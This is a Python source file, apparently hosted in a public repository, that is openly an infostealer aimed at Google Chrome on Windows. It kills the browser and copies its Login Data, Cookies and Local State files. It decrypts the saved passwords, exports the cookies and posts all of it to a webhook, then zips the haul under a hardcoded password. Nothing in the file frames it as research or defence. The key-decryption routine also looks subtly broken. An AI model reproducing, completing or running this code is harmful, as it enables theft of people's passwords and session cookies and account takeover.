best / best.py
Besthpz's picture
Create best.py
ec5c248 verified
raw
history blame contribute delete
No virus
5.71 kB
import os
import json
import base64
import sqlite3
from Crypto.Cipher import AES
from cryptography.fernet import Fernet
import shutil
import time
import platform
import pyzipper
import requests
webhookURL = ""
def zip_file(folder_path, output_zip_file, password):
try:
with pyzipper.AESZipFile(output_zip_file, 'w', compression=pyzipper.ZIP_LZMA, encryption=pyzipper.WZ_AES) as zipf:
zipf.setpassword(password.encode())
for foldername, subfolders, filenames in os.walk(folder_path):
for filename in filenames:
file_path = os.path.join(foldername, filename)
zipf.write(file_path, os.path.relpath(file_path, folder_path))
print(f'Successfully created password-protected ZIP file: {output_zip_file}')
except Exception as e:
print(f'Error: {e}')
class Paths:
local_state_path = os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome', 'User Data', 'Local State')
cookies_path = os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome', 'User Data', 'Default', 'Network', 'Cookies')
logindata_path = os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome', 'User Data', 'Default', 'Login Data')
temp_path = os.path.join(os.environ['TEMP'], 'henanigans')
stealerLog = os.path.join(os.environ['TEMP'], 'henanigans', 'LOG')
localState = os.path.join(os.environ['TEMP'], 'henanigans', 'Local State.db')
cookiesFile = os.path.join(os.environ['TEMP'], 'henanigans', 'Cookies.db')
loginData = os.path.join(os.environ['TEMP'], 'henanigans', 'Login Data.db')
class Functions:
def Initialize():
os.system("taskkill /f /im chrome.exe")
time.sleep(1)
os.makedirs(Paths.temp_path, exist_ok=True)
os.makedirs(Paths.stealerLog, exist_ok=True)
try:
shutil.copy(Paths.local_state_path, Paths.temp_path)
shutil.copy(Paths.cookies_path, Paths.temp_path)
shutil.copy(Paths.logindata_path, Paths.temp_path)
files = os.listdir(Paths.temp_path)
for filename in files:
if filename == 'Local State' or filename == 'Cookies' or filename =="Login Data":
new_filename = os.path.splitext(filename)[0] + '.db'
old_path = os.path.join(Paths.temp_path, filename)
new_path = os.path.join(Paths.temp_path, new_filename)
os.rename(old_path, new_path)
print("Files copied and renamed successfully.")
except Exception as e:
print(f"Error copying/renaming files: {e}")
def getMasterKey():
masterKeyJSON = json.loads(open(Paths.localState).read())
key = base64.b64decode(masterKeyJSON["os_crypt"]["encrypted_key"])[5:]
f = Fernet(key)
return f.decrypt(key)
def decrypt(key, password):
try:
iv = password[3:15]
passw = password[15:]
cipher = AES.new(key, AES.MODE_GCM, iv)
return cipher.decrypt(passw)[:-16].decode()
except Exception as e:
try:
f = Fernet(key)
return f.decrypt(password).decode()
except:
return ""
class StealerFunctions:
def stealPass():
stolenData = []
key = Functions.getMasterKey()
conn = sqlite3.connect(Paths.loginData)
cursor = conn.cursor()
cursor.execute("SELECT * FROM logins")
data = cursor.fetchall()
for i in data:
originURL = i[0]
actionURL = i[1]
signon_realm = str(i[7])
user = i[3]
password = Functions.decrypt(key, i[5])
stolenData.append(f"Origin URL: {originURL}\nAction URL: {actionURL}\nSingon_realm: {signon_realm}\nUsername: {user}\nPassword: {password}")
conn.close()
return '\n\n'.join(stolenData)
def stealCookies():
key = Functions.getMasterKey()
conn = sqlite3.connect(Paths.cookiesFile)
cursor = conn.cursor()
cursor.execute("SELECT * FROM cookies")
data = cursor.fetchall()
netscape_cookies = []
for i in data:
host_key = i[1]
name_key = i[2]
value_key = i[12]
path_key = i[4]
expires_key = i[5]
secure_key = i[6]
httponly_key = i[7]
lastAccessed_key = i[8]
creationTime_key = i[9]
isPersistent_key = i[10]
isSecure_key = i[11]
# Filter out expired cookies
if expires_key == 0 or expires_key > int(time.time()):
netscape_cookies.append(f"#HttpOnly_{httponly_key}#{host_key} TRUE {expires_key} {path_key} {secure_key} {name_key} {value_key}")
conn.close()
return '\n'.join(netscape_cookies)
def sendToWebhook(data):
try:
response = requests.post(webhookURL, data={"content": data})
if response.status_code == 200:
print("Data sent to webhook successfully.")
else:
print(f"Error sending data to webhook: {response.status_code}")
except Exception as e:
print(f"Error sending data to webhook: {e}")
def main():
Functions.Initialize()
passwordData = StealerFunctions.stealPass()
cookieData = StealerFunctions.stealCookies()
StealerFunctions.sendToWebhook(f"Password Data:\n{passwordData}\n\nCookie Data:\n{cookieData}")
zip_file(Paths.stealerLog, os.path.join(Paths.stealerLog, 'LOG.zip'), 'henanigans')
if __name__ == "__main__":
main()